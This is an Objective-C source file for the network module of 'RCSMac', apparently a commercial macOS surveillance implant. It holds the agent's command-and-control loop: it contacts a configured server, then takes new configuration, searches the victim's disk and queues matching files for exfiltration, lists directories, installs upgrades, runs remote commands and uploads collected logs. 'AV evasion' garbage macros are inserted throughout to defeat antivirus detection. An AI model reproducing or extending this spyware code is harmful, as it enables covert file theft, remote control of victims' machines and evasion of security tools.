core/Modules/RESTNetworkProtocol.m
/*
* RCSMac - RESTNetworkProtocol
* Implementation for REST Protocol.
*
*
* Created by revenge on 12/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "RESTNetworkProtocol.h"
#import "RESTTransport.h"
#import "AuthNetworkOperation.h"
#import "IDNetworkOperation.h"
#import "ConfNetworkOperation.h"
#import "DownloadNetworkOperation.h"
#import "UploadNetworkOperation.h"
#import "UpgradeNetworkOperation.h"
#import "FSNetworkOperation.h"
#import "SizeNetworkOperation.h" //TODO: delete this one when put inside LogNetworkOperation
#import "LogNetworkOperation.h"
#import "ByeNetworkOperation.h"
#import "CommandsNetworkOperation.h"
#import "RCSMFileSystemManager.h"
#import "RCSMTaskManager.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
@implementation RESTNetworkProtocol
- (id)initWithConfiguration: (NSData *)aConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_002
if (self = [super init])
{
if (aConfiguration == nil)
{
[self release];
return nil;
}
// AV evasion: only on release build
AV_GARBAGE_001
syncStruct *header = (syncStruct *)[aConfiguration bytes];
mMinDelay = header->minSleepTime;
mMaxDelay = header->maxSleepTime;
mBandwidthLimit = header->bandwidthLimit;
// AV evasion: only on release build
AV_GARBAGE_002
NSString *host = [NSString stringWithCString: header->configString
encoding: NSUTF8StringEncoding];
#ifdef DEBUG_PROTO
warnLog(@"minDelay : %d", mMinDelay);
warnLog(@"maxDelay : %d", mMaxDelay);
warnLog(@"bandWidth : %d", mBandwidthLimit);
warnLog(@"host : %@", host);
#endif
// AV evasion: only on release build
AV_GARBAGE_007
NSString *_url;
_url = [[NSString alloc] initWithFormat: @"http://%@:%d", host, 80];
mURL = [[NSURL alloc] initWithString: _url];
[_url release];
return self;
}
return nil;
}
- (void)dealloc
{
[mURL release];
[super dealloc];
}
// Abstract Class Methods
- (BOOL)perform
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_007
// Init the transport
RESTTransport *transport = [[RESTTransport alloc] initWithURL: mURL
onPort: 80];
// AV evasion: only on release build
AV_GARBAGE_007
// Done.
AuthNetworkOperation *authOP = [[AuthNetworkOperation alloc] initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_001
if ([authOP perform] == NO)
{
[authOP release];
[transport release];
[outerPool release];
return NO;
}
[authOP release];
//
// AV evasion: only on release build
AV_GARBAGE_008
// Done.
IDNetworkOperation *idOP = [[IDNetworkOperation alloc] initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_005
if ([idOP perform] == NO)
{
[idOP release];
[transport release];
[outerPool release];
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_004
NSMutableArray *commandList = [[idOP getCommands] retain];
// AV evasion: only on release build
AV_GARBAGE_009
[idOP release];
//
int i = 0;
// AV evasion: only on release build
AV_GARBAGE_002
for (; i < [commandList count]; i++)
{
uint32_t command = [[commandList objectAtIndex: i] unsignedIntValue];
// AV evasion: only on release build
AV_GARBAGE_001
switch (command)
{
// Done.
case PROTO_NEW_CONF:
{
// AV evasion: only on release build
AV_GARBAGE_001
ConfNetworkOperation *confOP = [[ConfNetworkOperation alloc] initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_002
if ([confOP perform] == NO)
{
// AV evasion: only on release build
AV_GARBAGE_003
[confOP sendConfAck: PROTO_NO];
}
else
[confOP sendConfAck: PROTO_OK];
[confOP release];
} break;
case PROTO_DOWNLOAD:
{
// AV evasion: only on release build
AV_GARBAGE_000
DownloadNetworkOperation *downOP = [[DownloadNetworkOperation alloc]
initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_008
if ([downOP perform] == NO)
{
#ifdef DEBUG_PROTO
errorLog(@"Error on DOWNLOAD");
#endif
}
else
{
NSArray *files = [downOP getDownloads];
// AV evasion: only on release build
AV_GARBAGE_007
if ([files count] > 0)
{
// AV evasion: only on release build
AV_GARBAGE_002
__m_MFileSystemManager *fsManager = [[__m_MFileSystemManager alloc] init];
// AV evasion: only on release build
AV_GARBAGE_009
for (NSString *fileMask in files)
{
// AV evasion: only on release build
AV_GARBAGE_004
NSArray *filesFound = [fsManager searchFilesOnHD: fileMask];
if (filesFound == nil)
{
#ifdef DEBUG_PROTO
errorLog(@"fileMask (%@) didn't match any files");
#endif
// AV evasion: only on release build
AV_GARBAGE_007
continue;
}
for (NSString *file in filesFound)
{
#ifdef DEBUG_PROTO
infoLog(@"createLogForFile (%@)", file);
#endif
// AV evasion: only on release build
AV_GARBAGE_001
[fsManager logFileAtPath: file
forAgentID: LOG_DOWNLOAD];
}
}
// AV evasion: only on release build
AV_GARBAGE_008
[fsManager release];
}
else
{
#ifdef DEBUG_PROTO
errorLog(@"(PROTO_DOWNLOAD) no file available");
#endif
}
}
// AV evasion: only on release build
AV_GARBAGE_002
[downOP release];
} break;
case PROTO_UPLOAD:
{
// AV evasion: only on release build
AV_GARBAGE_003
UploadNetworkOperation *upOP = [[UploadNetworkOperation alloc]
initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_005
if ([upOP perform] == NO)
{
#ifdef DEBUG_PROTO
errorLog(@"Error on UPLOAD");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_009
[upOP release];
} break;
case PROTO_UPGRADE:
{
// AV evasion: only on release build
AV_GARBAGE_001
UpgradeNetworkOperation *upgradeOP = [[UpgradeNetworkOperation alloc]
initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_002
if ([upgradeOP perform] == NO)
{
#ifdef DEBUG_PROTO
errorLog(@"Error on UPGRADE");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
[upgradeOP release];
} break;
case PROTO_FILESYSTEM:
{
// AV evasion: only on release build
AV_GARBAGE_004
FSNetworkOperation *fsOP = [[FSNetworkOperation alloc]
initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_006
if ([fsOP perform] == NO)
{
#ifdef DEBUG_PROTO
errorLog(@"Error on FS");
#endif
}
else
{
NSArray *paths = [fsOP getPaths];
#ifdef DEBUG_PROTO
infoLog(@"paths: %@", paths);
#endif
// AV evasion: only on release build
AV_GARBAGE_007
if ([paths count] > 0)
{
// AV evasion: only on release build
AV_GARBAGE_009
__m_MFileSystemManager *fsManager = [[__m_MFileSystemManager alloc] init];
// AV evasion: only on release build
AV_GARBAGE_008
for (NSDictionary *dictionary in paths)
{
NSString *path = [dictionary objectForKey: @"path"];
uint32_t depth = [[dictionary objectForKey: @"depth"] unsignedIntValue];
#ifdef DEBUG_PROTO
infoLog(@"(PROTO_FS) path : %@", path);
infoLog(@"(PROTO_FS) depth: %d", depth);
#endif
// AV evasion: only on release build
AV_GARBAGE_006
[fsManager logDirContent: path
withDepth: depth];
}
// AV evasion: only on release build
AV_GARBAGE_007
[fsManager release];
}
else
{
#ifdef DEBUG_PROTO
errorLog(@"(PROTO_FS) no path availalble");
#endif
}
}
// AV evasion: only on release build
AV_GARBAGE_005
[fsOP release];
} break;
case PROTO_COMMANDS:
{
CommandsNetworkOperation *commOP = [[CommandsNetworkOperation alloc] initWithTransport: transport];
if ([commOP perform] == NO)
{
#ifdef DEBUG_PROTO
errorLog(@"Error on COMMANDS");
#endif
}
else
{
[commOP executeCommands];
}
} break;
default:
break;
}
}
// AV evasion: only on release build
AV_GARBAGE_004
LogNetworkOperation *logOP = [[LogNetworkOperation alloc]
initWithTransport: transport
minDelay: mMinDelay
maxDelay: mMaxDelay
bandwidth: mBandwidthLimit];
// AV evasion: only on release build
AV_GARBAGE_001
if ([logOP perform] == NO)
{
#ifdef DEBUG_PROTO
errorLog(@"Error on LOG");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
[logOP release];
ByeNetworkOperation *byeOP = [[ByeNetworkOperation alloc]
initWithTransport: transport];
// AV evasion: only on release build
AV_GARBAGE_002
if ([byeOP perform] == NO)
{
#ifdef DEBUG_PROTO
errorLog(@"WTF error on BYE?!");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
[byeOP release];
// AV evasion: only on release build
AV_GARBAGE_008
//
// Time to reload the configuration, if needed
// TODO: Refactor this
//
__m_MTaskManager *_taskManager = [__m_MTaskManager sharedInstance];
// AV evasion: only on release build
AV_GARBAGE_001
if (_taskManager.mShouldReloadConfiguration == YES)
{
[_taskManager reloadConfiguration];
}
// AV evasion: only on release build
AV_GARBAGE_002
[commandList release];
[transport release];
// AV evasion: only on release build
AV_GARBAGE_001
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_007
return YES;
}
// End Of Abstract Class Methods
@end